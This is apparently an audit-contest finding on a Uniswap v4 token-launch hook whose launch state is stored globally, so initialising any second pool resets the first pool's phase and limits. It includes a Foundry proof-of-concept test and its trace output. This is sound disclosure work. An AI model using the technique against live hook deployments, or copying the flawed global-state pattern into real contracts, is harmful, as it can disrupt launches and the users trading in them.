Vanguard

First Flight #56
Beginner FriendlyDeFiFoundry
0 EXP
Submission Details
Impact: high
Likelihood: medium

Lack of pool isolation

Author Revealed upon completion

Description

  • In Uniswap v4, a single hook contract (singleton) can be attached to multiple pools. Hook permissions are encoded in the hook’s address, and the PoolManager invokes the same hook instance for all pools that specify it. Therefore, any per‑pool lifecycle state must be stored per PoolId, not in global variables.

  • TokenLaunchHook stores launch state in global variables (launchStartBlock, initialLiquidity, currentPhase, lastPhaseUpdateBlock, etc.). When any pool using this hook runs afterInitialize, it overwrites these globals for all pools sharing the hook. A malicious (or accidental) initialization of a second, unrelated pool therefore resets the active launch’s timer/phase/limits of the first pool by rewriting these global variables.

uint256 public currentPhase; // @> GLOBAL
uint256 public lastPhaseUpdateBlock; // @> GLOBAL
uint256 public launchStartBlock; // @> GLOBAL
uint256 public initialLiquidity; // @> GLOBAL
mapping(address => uint256) public addressSwappedAmount; // @> GLOBAL, shared across pools
mapping(address => uint256) public addressLastSwapBlock; // @> GLOBAL, shared across pools
// ...
function _afterInitialize(address, PoolKey calldata key, uint160, int24)
internal override returns (bytes4)
{
// sets these GLOBALs on every pool init using this hook
launchStartBlock = block.number; // @> overwritten for all pools
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
initialLiquidity = uint256(liquidity); // @> overwritten for all pools
currentPhase = 1; // @> reset to phase 1 for all pools
lastPhaseUpdateBlock = block.number; // @> overwritten for all pools
return BaseHook.afterInitialize.selector;
}

Risk

Likelihood: Medium

  • Hooks are singleton contracts and may be reused by multiple pools (intentionally or not). Any subsequent pool initialization calling this hook will execute _afterInitialize and rewrite globals.

  • An attacker can trivially create a new pool that references the same hook address and call initialize, causing a global reset for the live launch.

Impact: High

  • Active launch disruption: Ongoing launch’s phase window and limits are reset mid‑flight (e.g., reverting to Phase 1), changing fee/penalty behavior, and breaking the intended timing protections.

  • Cross‑pool contamination: Per‑address accounting (addressSwappedAmount, addressLastSwapBlock) is shared across all pools; activity via an unrelated pool (through the router address) can affect enforcement in the real launch pool.

Proof of Concept

  • Create LackOfPoolIsolation.t.sol under test directory and copy code below.

  • Run command forge test --mt test_PoolBInitializationResetsPoolAState -vvvv.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import {Test} from "forge-std/Test.sol";
import {Deployers} from "@uniswap/v4-core/test/utils/Deployers.sol";
import {PoolSwapTest} from "v4-core/test/PoolSwapTest.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {Hooks} from "v4-core/libraries/Hooks.sol";
import {HookMiner} from "v4-periphery/src/utils/HookMiner.sol";
import {LPFeeLibrary} from "v4-core/libraries/LPFeeLibrary.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {LiquidityAmounts} from "@uniswap/v4-core/test/utils/LiquidityAmounts.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {TokenLaunchHook} from "../src/TokenLaunchHook.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/types/PoolOperation.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {ERC1155TokenReceiver} from "solmate/src/tokens/ERC1155.sol";
contract LackOfPoolIsolationTest is Test, Deployers, ERC1155TokenReceiver {
using LPFeeLibrary for uint24;
TokenLaunchHook hook;
MockERC20 tokenA; // For Pool A (ETH <-> tokenA)
MockERC20 tokenB; // For Pool B (ETH <-> tokenB)
Currency ethCurrency = Currency.wrap(address(0));
Currency tokenACurrency;
Currency tokenBCurrency;
PoolKey keyA; // Pool A
PoolKey keyB; // Pool B
uint256 phase1Duration = 100;
uint256 phase2Duration = 100;
uint256 phase1LimitBps = 100;
uint256 phase2LimitBps = 500;
uint256 phase1Cooldown = 5;
uint256 phase2Cooldown = 2;
uint256 phase1PenaltyBps = 1000;
uint256 phase2PenaltyBps = 500;
address user = address(0xABCD);
function setUp() public {
deployFreshManagerAndRouters();
// Tokens and balances
tokenA = new MockERC20("TOKENA", "TKNA", 18);
tokenB = new MockERC20("TOKENB", "TKNB", 18);
tokenACurrency = Currency.wrap(address(tokenA));
tokenBCurrency = Currency.wrap(address(tokenB));
tokenA.mint(address(this), 1_000 ether);
tokenB.mint(address(this), 1_000 ether);
tokenA.mint(user, 100 ether);
// Approvals
tokenA.approve(address(swapRouter), type(uint256).max);
tokenA.approve(address(modifyLiquidityRouter), type(uint256).max);
tokenB.approve(address(swapRouter), type(uint256).max);
tokenB.approve(address(modifyLiquidityRouter), type(uint256).max);
vm.prank(user);
tokenA.approve(address(swapRouter), type(uint256).max);
// Mine correct permission flags: AFTER_INITIALIZE + BEFORE_SWAP
bytes memory creationCode = type(TokenLaunchHook).creationCode;
bytes memory args = abi.encode(
manager,
phase1Duration,
phase2Duration,
phase1LimitBps,
phase2LimitBps,
phase1Cooldown,
phase2Cooldown,
phase1PenaltyBps,
phase2PenaltyBps
);
uint160 flags = uint160(Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_INITIALIZE_FLAG);
(address mined, bytes32 salt) =
HookMiner.find(address(this), flags, creationCode, args);
hook = new TokenLaunchHook{salt: salt}(
IPoolManager(manager),
phase1Duration,
phase2Duration,
phase1LimitBps,
phase2LimitBps,
phase1Cooldown,
phase2Cooldown,
phase1PenaltyBps,
phase2PenaltyBps
);
require(address(hook) == mined, "Hook address mismatch");
// Initialize Pool A (ETH <-> tokenA) with dynamic fee + this hook
(keyA,) = initPool(ethCurrency, tokenACurrency, hook, LPFeeLibrary.DYNAMIC_FEE_FLAG, SQRT_PRICE_1_1);
// Add liquidity to Pool A to enable swaps
uint160 sqrtPriceAtTickUpper = TickMath.getSqrtPriceAtTick(60);
uint256 ethToAdd = 10 ether;
uint128 liqDelta = LiquidityAmounts.getLiquidityForAmount0(
SQRT_PRICE_1_1, sqrtPriceAtTickUpper, ethToAdd
);
modifyLiquidityRouter.modifyLiquidity{value: ethToAdd}(
keyA,
ModifyLiquidityParams({
tickLower: -60,
tickUpper: 60,
liquidityDelta: int256(uint256(liqDelta)),
salt: bytes32(0)
}),
ZERO_BYTES
);
}
function test_PoolBInitializationResetsPoolAState() public {
// 1) User performs a small swap on Pool A (sets initialLiquidity lazily if zero)
vm.deal(user, 1 ether);
vm.startPrank(user);
SwapParams memory params = SwapParams({
zeroForOne: true,
amountSpecified: -int256(0.001 ether),
sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
});
PoolSwapTest.TestSettings memory settings =
PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false});
swapRouter.swap{value: 0.001 ether}(keyA, params, settings, ZERO_BYTES);
vm.stopPrank();
// 2) Advance into what should be Phase 2 for Pool A and trigger phase update
vm.roll(block.number + phase1Duration + 1);
vm.startPrank(user);
swapRouter.swap{value: 0.001 ether}(keyA, params, settings, ZERO_BYTES);
vm.stopPrank();
assertEq(hook.currentPhase(), 2, "Pool A should now be in Phase 2");
// 3) Initialize a DIFFERENT pool (Pool B) with SAME hook -> triggers _afterInitialize again
(keyB,) = initPool(ethCurrency, tokenBCurrency, hook, LPFeeLibrary.DYNAMIC_FEE_FLAG, SQRT_PRICE_1_1);
// 4) Swap again on Pool A; due to GLOBAL launchStartBlock reset, phase is re-evaluated as Phase 1
vm.startPrank(user);
swapRouter.swap{value: 0.001 ether}(keyA, params, settings, ZERO_BYTES);
vm.stopPrank();
// getCurrentPhase() uses the GLOBAL launchStartBlock, so it regresses to Phase 1
assertEq(hook.getCurrentPhase(), 1, "Phase should have been reset to 1 due to Pool B initialization");
assertEq(hook.currentPhase(), 1, "Global currentPhase was overwritten by Pool B initialization");
}
}

Output:

[⠊] Compiling...
[⠢] Compiling 2 files with Solc 0.8.26
[⠆] Solc 0.8.26 finished in 58.76ms
No files changed, compilation skipped
Ran 1 test for test/LackOfPoolIsolation.t.sol:LackOfPoolIsolationTest
[PASS] test_PoolBInitializationResetsPoolAState() (gas: 442172)
Traces:
[464872] LackOfPoolIsolationTest::test_PoolBInitializationResetsPoolAState()
├─ [0] VM::deal(0x000000000000000000000000000000000000ABcD, 1000000000000000000 [1e18])
│ └─ ← [Return]
├─ [0] VM::startPrank(0x000000000000000000000000000000000000ABcD)
│ └─ ← [Return]
├─ [158624] PoolSwapTest::swap{value: 1000000000000000}(PoolKey({ currency0: 0x0000000000000000000000000000000000000000, currency1: 0x15cF58144EF33af1e14b5208015d11F9143E27b9, fee: 8388608 [8.388e6], tickSpacing: 60, hooks: 0x4faB6B386539b743f64ea7fD80dcEDb0F7A89080 }), SwapParams({ zeroForOne: true, amountSpecified: -1000000000000000 [-1e15], sqrtPriceLimitX96: 4295128740 [4.295e9] }), TestSettings({ takeClaims: false, settleUsingBurn: false }), 0x)
│ ├─ [152820] PoolManager::unlock(0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000abcd00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000015cf58144ef33af1e14b5208015d11f9143e27b90000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000003c0000000000000000000000004fab6b386539b743f64ea7fd80dcedb0f7a890800000000000000000000000000000000000000000000000000000000000000001fffffffffffffffffffffffffffffffffffffffffffffffffffc72815b39800000000000000000000000000000000000000000000000000000000001000276a400000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000000000000000000)
│ │ ├─ [150561] PoolSwapTest::unlockCallback(0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000abcd00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000015cf58144ef33af1e14b5208015d11f9143e27b90000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000003c0000000000000000000000004fab6b386539b743f64ea7fd80dcedb0f7a890800000000000000000000000000000000000000000000000000000000000000001fffffffffffffffffffffffffffffffffffffffffffffffffffc72815b39800000000000000000000000000000000000000000000000000000000001000276a400000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000000000000000000)
│ │ │ ├─ [862] PoolManager::exttload(0xc6bd81b73d1fd76b6ab7b2a3e675f602f162633118b2ec0b74d6456669dd8579) [staticcall]
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ ├─ [2552] MockERC20::balanceOf(0x000000000000000000000000000000000000ABcD) [staticcall]
│ │ │ │ └─ ← [Return] 100000000000000000000 [1e20]
│ │ │ ├─ [2552] MockERC20::balanceOf(PoolManager: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ │ │ │ └─ ← [Return] 10000000000000000000 [1e19]
│ │ │ ├─ [862] PoolManager::exttload(0x85be7c2bd5cfd9e6e3a30072d5be012f0c0649c579d3433f4d5ee458bdb429be) [staticcall]
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ ├─ [110236] PoolManager::swap(PoolKey({ currency0: 0x0000000000000000000000000000000000000000, currency1: 0x15cF58144EF33af1e14b5208015d11F9143E27b9, fee: 8388608 [8.388e6], tickSpacing: 60, hooks: 0x4faB6B386539b743f64ea7fD80dcEDb0F7A89080 }), SwapParams({ zeroForOne: true, amountSpecified: -1000000000000000 [-1e15], sqrtPriceLimitX96: 4295128740 [4.295e9] }), 0x)
│ │ │ │ ├─ [76095] TokenLaunchHook::beforeSwap(PoolSwapTest: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], PoolKey({ currency0: 0x0000000000000000000000000000000000000000, currency1: 0x15cF58144EF33af1e14b5208015d11F9143E27b9, fee: 8388608 [8.388e6], tickSpacing: 60, hooks: 0x4faB6B386539b743f64ea7fD80dcEDb0F7A89080 }), SwapParams({ zeroForOne: true, amountSpecified: -1000000000000000 [-1e15], sqrtPriceLimitX96: 4295128740 [4.295e9] }), 0x)
│ │ │ │ │ ├─ [2378] PoolManager::extsload(0x150354b2d6d2bc502e6f774e51ffab4638eb0768330b66d2c8d382c1598ebd1c) [staticcall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000b4fb077cf724ed8bd3
│ │ │ │ │ └─ ← [Return] 0x575e24b4, 0, 4194304 [4.194e6]
│ │ │ │ ├─ emit Swap(id: 0x6109270a1f35ae82fb136621355ea4a2980baebc2e0a4c5b44084a1faf3b35f9, sender: PoolSwapTest: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], amount0: -1000000000000000 [-1e15], amount1: 999999700464594 [9.999e14], sqrtPriceX96: 79228138782624522581392935400 [7.922e28], liquidity: 3338502497096994491347 [3.338e21], tick: -1, fee: 0)
│ │ │ │ └─ ← [Return] -340282366920938463463374607431768211455000000299535406 [-3.402e53]
│ │ │ ├─ [862] PoolManager::exttload(0xc6bd81b73d1fd76b6ab7b2a3e675f602f162633118b2ec0b74d6456669dd8579) [staticcall]
│ │ │ │ └─ ← [Return] 0xfffffffffffffffffffffffffffffffffffffffffffffffffffc72815b398000
│ │ │ ├─ [552] MockERC20::balanceOf(0x000000000000000000000000000000000000ABcD) [staticcall]
│ │ │ │ └─ ← [Return] 100000000000000000000 [1e20]
│ │ │ ├─ [552] MockERC20::balanceOf(PoolManager: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ │ │ │ └─ ← [Return] 10000000000000000000 [1e19]
│ │ │ ├─ [862] PoolManager::exttload(0x85be7c2bd5cfd9e6e3a30072d5be012f0c0649c579d3433f4d5ee458bdb429be) [staticcall]
│ │ │ │ └─ ← [Return] 0x00000000000000000000000000000000000000000000000000038d7e92ebf3d2
│ │ │ ├─ [1425] PoolManager::settle{value: 1000000000000000}()
│ │ │ │ └─ ← [Return] 1000000000000000 [1e15]
│ │ │ ├─ [10243] PoolManager::take(MockERC20: [0x15cF58144EF33af1e14b5208015d11F9143E27b9], 0x000000000000000000000000000000000000ABcD, 999999700464594 [9.999e14])
│ │ │ │ ├─ [8511] MockERC20::transfer(0x000000000000000000000000000000000000ABcD, 999999700464594 [9.999e14])
│ │ │ │ │ ├─ emit Transfer(from: PoolManager: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], to: 0x000000000000000000000000000000000000ABcD, amount: 999999700464594 [9.999e14])
│ │ │ │ │ └─ ← [Return] true
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Return] 0xfffffffffffffffffffc72815b398000000000000000000000038d7e92ebf3d2
│ │ └─ ← [Return] 0xfffffffffffffffffffc72815b398000000000000000000000038d7e92ebf3d2
│ └─ ← [Return] -340282366920938463463374607431768211455000000299535406 [-3.402e53]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::roll(102)
│ └─ ← [Return]
├─ [0] VM::startPrank(0x000000000000000000000000000000000000ABcD)
│ └─ ← [Return]
├─ [66671] PoolSwapTest::swap{value: 1000000000000000}(PoolKey({ currency0: 0x0000000000000000000000000000000000000000, currency1: 0x15cF58144EF33af1e14b5208015d11F9143E27b9, fee: 8388608 [8.388e6], tickSpacing: 60, hooks: 0x4faB6B386539b743f64ea7fD80dcEDb0F7A89080 }), SwapParams({ zeroForOne: true, amountSpecified: -1000000000000000 [-1e15], sqrtPriceLimitX96: 4295128740 [4.295e9] }), TestSettings({ takeClaims: false, settleUsingBurn: false }), 0x)
│ ├─ [63367] PoolManager::unlock(0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000abcd00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000015cf58144ef33af1e14b5208015d11f9143e27b90000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000003c0000000000000000000000004fab6b386539b743f64ea7fd80dcedb0f7a890800000000000000000000000000000000000000000000000000000000000000001fffffffffffffffffffffffffffffffffffffffffffffffffffc72815b39800000000000000000000000000000000000000000000000000000000001000276a400000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000000000000000000)
│ │ ├─ [61108] PoolSwapTest::unlockCallback(0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000abcd00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000015cf58144ef33af1e14b5208015d11f9143e27b90000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000003c0000000000000000000000004fab6b386539b743f64ea7fd80dcedb0f7a890800000000000000000000000000000000000000000000000000000000000000001fffffffffffffffffffffffffffffffffffffffffffffffffffc72815b39800000000000000000000000000000000000000000000000000000000001000276a400000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000000000000000000)
│ │ │ ├─ [862] PoolManager::exttload(0xc6bd81b73d1fd76b6ab7b2a3e675f602f162633118b2ec0b74d6456669dd8579) [staticcall]
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ ├─ [552] MockERC20::balanceOf(0x000000000000000000000000000000000000ABcD) [staticcall]
│ │ │ │ └─ ← [Return] 100000999999700464594 [1e20]
│ │ │ ├─ [552] MockERC20::balanceOf(PoolManager: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ │ │ │ └─ ← [Return] 9999000000299535406 [9.999e18]
│ │ │ ├─ [862] PoolManager::exttload(0x85be7c2bd5cfd9e6e3a30072d5be012f0c0649c579d3433f4d5ee458bdb429be) [staticcall]
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ ├─ [32883] PoolManager::swap(PoolKey({ currency0: 0x0000000000000000000000000000000000000000, currency1: 0x15cF58144EF33af1e14b5208015d11F9143E27b9, fee: 8388608 [8.388e6], tickSpacing: 60, hooks: 0x4faB6B386539b743f64ea7fD80dcEDb0F7A89080 }), SwapParams({ zeroForOne: true, amountSpecified: -1000000000000000 [-1e15], sqrtPriceLimitX96: 4295128740 [4.295e9] }), 0x)
│ │ │ │ ├─ [15448] TokenLaunchHook::beforeSwap(PoolSwapTest: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], PoolKey({ currency0: 0x0000000000000000000000000000000000000000, currency1: 0x15cF58144EF33af1e14b5208015d11F9143E27b9, fee: 8388608 [8.388e6], tickSpacing: 60, hooks: 0x4faB6B386539b743f64ea7fD80dcEDb0F7A89080 }), SwapParams({ zeroForOne: true, amountSpecified: -1000000000000000 [-1e15], sqrtPriceLimitX96: 4295128740 [4.295e9] }), 0x)
│ │ │ │ │ └─ ← [Return] 0x575e24b4, 0, 4194304 [4.194e6]
│ │ │ │ ├─ emit Swap(id: 0x6109270a1f35ae82fb136621355ea4a2980baebc2e0a4c5b44084a1faf3b35f9, sender: PoolSwapTest: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], amount0: -1000000000000000 [-1e15], amount1: 999999101394141 [9.999e14], sqrtPriceX96: 79228115050998924497711328286 [7.922e28], liquidity: 3338502497096994491347 [3.338e21], tick: -1, fee: 0)
│ │ │ │ └─ ← [Return] -340282366920938463463374607431768211455000000898605859 [-3.402e53]
│ │ │ ├─ [862] PoolManager::exttload(0xc6bd81b73d1fd76b6ab7b2a3e675f602f162633118b2ec0b74d6456669dd8579) [staticcall]
│ │ │ │ └─ ← [Return] 0xfffffffffffffffffffffffffffffffffffffffffffffffffffc72815b398000
│ │ │ ├─ [552] MockERC20::balanceOf(0x000000000000000000000000000000000000ABcD) [staticcall]
│ │ │ │ └─ ← [Return] 100000999999700464594 [1e20]
│ │ │ ├─ [552] MockERC20::balanceOf(PoolManager: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ │ │ │ └─ ← [Return] 9999000000299535406 [9.999e18]
│ │ │ ├─ [862] PoolManager::exttload(0x85be7c2bd5cfd9e6e3a30072d5be012f0c0649c579d3433f4d5ee458bdb429be) [staticcall]
│ │ │ │ └─ ← [Return] 0x00000000000000000000000000000000000000000000000000038d7e6f36dcdd
│ │ │ ├─ [1425] PoolManager::settle{value: 1000000000000000}()
│ │ │ │ └─ ← [Return] 1000000000000000 [1e15]
│ │ │ ├─ [4643] PoolManager::take(MockERC20: [0x15cF58144EF33af1e14b5208015d11F9143E27b9], 0x000000000000000000000000000000000000ABcD, 999999101394141 [9.999e14])
│ │ │ │ ├─ [2911] MockERC20::transfer(0x000000000000000000000000000000000000ABcD, 999999101394141 [9.999e14])
│ │ │ │ │ ├─ emit Transfer(from: PoolManager: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], to: 0x000000000000000000000000000000000000ABcD, amount: 999999101394141 [9.999e14])
│ │ │ │ │ └─ ← [Return] true
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Return] 0xfffffffffffffffffffc72815b398000000000000000000000038d7e6f36dcdd
│ │ └─ ← [Return] 0xfffffffffffffffffffc72815b398000000000000000000000038d7e6f36dcdd
│ └─ ← [Return] -340282366920938463463374607431768211455000000898605859 [-3.402e53]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [247] TokenLaunchHook::currentPhase() [staticcall]
│ └─ ← [Return] 2
├─ [37794] PoolManager::initialize(PoolKey({ currency0: 0x0000000000000000000000000000000000000000, currency1: 0x212224D2F2d262cd093eE13240ca4873fcCBbA3C, fee: 8388608 [8.388e6], tickSpacing: 60, hooks: 0x4faB6B386539b743f64ea7fD80dcEDb0F7A89080 }), 79228162514264337593543950336 [7.922e28])
│ ├─ emit Initialize(id: 0x58f806814ff03315f9702c99f6f0afcd0177dead72e3ce6e67d7c22fe0772247, currency0: 0x0000000000000000000000000000000000000000, currency1: MockERC20: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], fee: 8388608 [8.388e6], tickSpacing: 60, hooks: TokenLaunchHook: [0x4faB6B386539b743f64ea7fD80dcEDb0F7A89080], sqrtPriceX96: 79228162514264337593543950336 [7.922e28], tick: 0)
│ ├─ [7535] TokenLaunchHook::afterInitialize(LackOfPoolIsolationTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], PoolKey({ currency0: 0x0000000000000000000000000000000000000000, currency1: 0x212224D2F2d262cd093eE13240ca4873fcCBbA3C, fee: 8388608 [8.388e6], tickSpacing: 60, hooks: 0x4faB6B386539b743f64ea7fD80dcEDb0F7A89080 }), 79228162514264337593543950336 [7.922e28], 0)
│ │ ├─ [2378] PoolManager::extsload(0x3b03c9799262ef63a1adbbc9f94a575a4ea21cab063913c1f6dcc10cef672126) [staticcall]
│ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ └─ ← [Return] 0x6fe7e6eb
│ └─ ← [Return] 0
├─ [0] VM::startPrank(0x000000000000000000000000000000000000ABcD)
│ └─ ← [Return]
├─ [95524] PoolSwapTest::swap{value: 1000000000000000}(PoolKey({ currency0: 0x0000000000000000000000000000000000000000, currency1: 0x15cF58144EF33af1e14b5208015d11F9143E27b9, fee: 8388608 [8.388e6], tickSpacing: 60, hooks: 0x4faB6B386539b743f64ea7fD80dcEDb0F7A89080 }), SwapParams({ zeroForOne: true, amountSpecified: -1000000000000000 [-1e15], sqrtPriceLimitX96: 4295128740 [4.295e9] }), TestSettings({ takeClaims: false, settleUsingBurn: false }), 0x)
│ ├─ [92220] PoolManager::unlock(0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000abcd00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000015cf58144ef33af1e14b5208015d11f9143e27b90000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000003c0000000000000000000000004fab6b386539b743f64ea7fd80dcedb0f7a890800000000000000000000000000000000000000000000000000000000000000001fffffffffffffffffffffffffffffffffffffffffffffffffffc72815b39800000000000000000000000000000000000000000000000000000000001000276a400000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000000000000000000)
│ │ ├─ [89961] PoolSwapTest::unlockCallback(0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000abcd00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000015cf58144ef33af1e14b5208015d11f9143e27b90000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000003c0000000000000000000000004fab6b386539b743f64ea7fd80dcedb0f7a890800000000000000000000000000000000000000000000000000000000000000001fffffffffffffffffffffffffffffffffffffffffffffffffffc72815b39800000000000000000000000000000000000000000000000000000000001000276a400000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000000000000000000)
│ │ │ ├─ [862] PoolManager::exttload(0xc6bd81b73d1fd76b6ab7b2a3e675f602f162633118b2ec0b74d6456669dd8579) [staticcall]
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ ├─ [552] MockERC20::balanceOf(0x000000000000000000000000000000000000ABcD) [staticcall]
│ │ │ │ └─ ← [Return] 100001999998801858735 [1e20]
│ │ │ ├─ [552] MockERC20::balanceOf(PoolManager: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ │ │ │ └─ ← [Return] 9998000001198141265 [9.998e18]
│ │ │ ├─ [862] PoolManager::exttload(0x85be7c2bd5cfd9e6e3a30072d5be012f0c0649c579d3433f4d5ee458bdb429be) [staticcall]
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ ├─ [61736] PoolManager::swap(PoolKey({ currency0: 0x0000000000000000000000000000000000000000, currency1: 0x15cF58144EF33af1e14b5208015d11F9143E27b9, fee: 8388608 [8.388e6], tickSpacing: 60, hooks: 0x4faB6B386539b743f64ea7fD80dcEDb0F7A89080 }), SwapParams({ zeroForOne: true, amountSpecified: -1000000000000000 [-1e15], sqrtPriceLimitX96: 4295128740 [4.295e9] }), 0x)
│ │ │ │ ├─ [24401] TokenLaunchHook::beforeSwap(PoolSwapTest: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], PoolKey({ currency0: 0x0000000000000000000000000000000000000000, currency1: 0x15cF58144EF33af1e14b5208015d11F9143E27b9, fee: 8388608 [8.388e6], tickSpacing: 60, hooks: 0x4faB6B386539b743f64ea7fD80dcEDb0F7A89080 }), SwapParams({ zeroForOne: true, amountSpecified: -1000000000000000 [-1e15], sqrtPriceLimitX96: 4295128740 [4.295e9] }), 0x)
│ │ │ │ │ ├─ [378] PoolManager::extsload(0x150354b2d6d2bc502e6f774e51ffab4638eb0768330b66d2c8d382c1598ebd1c) [staticcall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000b4fb077cf724ed8bd3
│ │ │ │ │ └─ ← [Return] 0x575e24b4, 0, 4294304 [4.294e6]
│ │ │ │ ├─ emit Swap(id: 0x6109270a1f35ae82fb136621355ea4a2980baebc2e0a4c5b44084a1faf3b35f9, sender: PoolSwapTest: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], amount0: -1000000000000000 [-1e15], amount1: 899998679049934 [8.999e14], sqrtPriceX96: 79228093692548041685680346687 [7.922e28], liquidity: 3338502497096994491347 [3.338e21], tick: -1, fee: 100000 [1e5])
│ │ │ │ └─ ← [Return] -340282366920938463463374607431768211455100001320950066 [-3.402e53]
│ │ │ ├─ [862] PoolManager::exttload(0xc6bd81b73d1fd76b6ab7b2a3e675f602f162633118b2ec0b74d6456669dd8579) [staticcall]
│ │ │ │ └─ ← [Return] 0xfffffffffffffffffffffffffffffffffffffffffffffffffffc72815b398000
│ │ │ ├─ [552] MockERC20::balanceOf(0x000000000000000000000000000000000000ABcD) [staticcall]
│ │ │ │ └─ ← [Return] 100001999998801858735 [1e20]
│ │ │ ├─ [552] MockERC20::balanceOf(PoolManager: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ │ │ │ └─ ← [Return] 9998000001198141265 [9.998e18]
│ │ │ ├─ [862] PoolManager::exttload(0x85be7c2bd5cfd9e6e3a30072d5be012f0c0649c579d3433f4d5ee458bdb429be) [staticcall]
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000003328b459026ce
│ │ │ ├─ [1425] PoolManager::settle{value: 1000000000000000}()
│ │ │ │ └─ ← [Return] 1000000000000000 [1e15]
│ │ │ ├─ [4643] PoolManager::take(MockERC20: [0x15cF58144EF33af1e14b5208015d11F9143E27b9], 0x000000000000000000000000000000000000ABcD, 899998679049934 [8.999e14])
│ │ │ │ ├─ [2911] MockERC20::transfer(0x000000000000000000000000000000000000ABcD, 899998679049934 [8.999e14])
│ │ │ │ │ ├─ emit Transfer(from: PoolManager: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], to: 0x000000000000000000000000000000000000ABcD, amount: 899998679049934 [8.999e14])
│ │ │ │ │ └─ ← [Return] true
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Return] 0xfffffffffffffffffffc72815b39800000000000000000000003328b459026ce
│ │ └─ ← [Return] 0xfffffffffffffffffffc72815b39800000000000000000000003328b459026ce
│ └─ ← [Return] -340282366920938463463374607431768211455100001320950066 [-3.402e53]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [862] TokenLaunchHook::getCurrentPhase() [staticcall]
│ └─ ← [Return] 1
├─ [247] TokenLaunchHook::currentPhase() [staticcall]
│ └─ ← [Return] 1
└─ ← [Return]
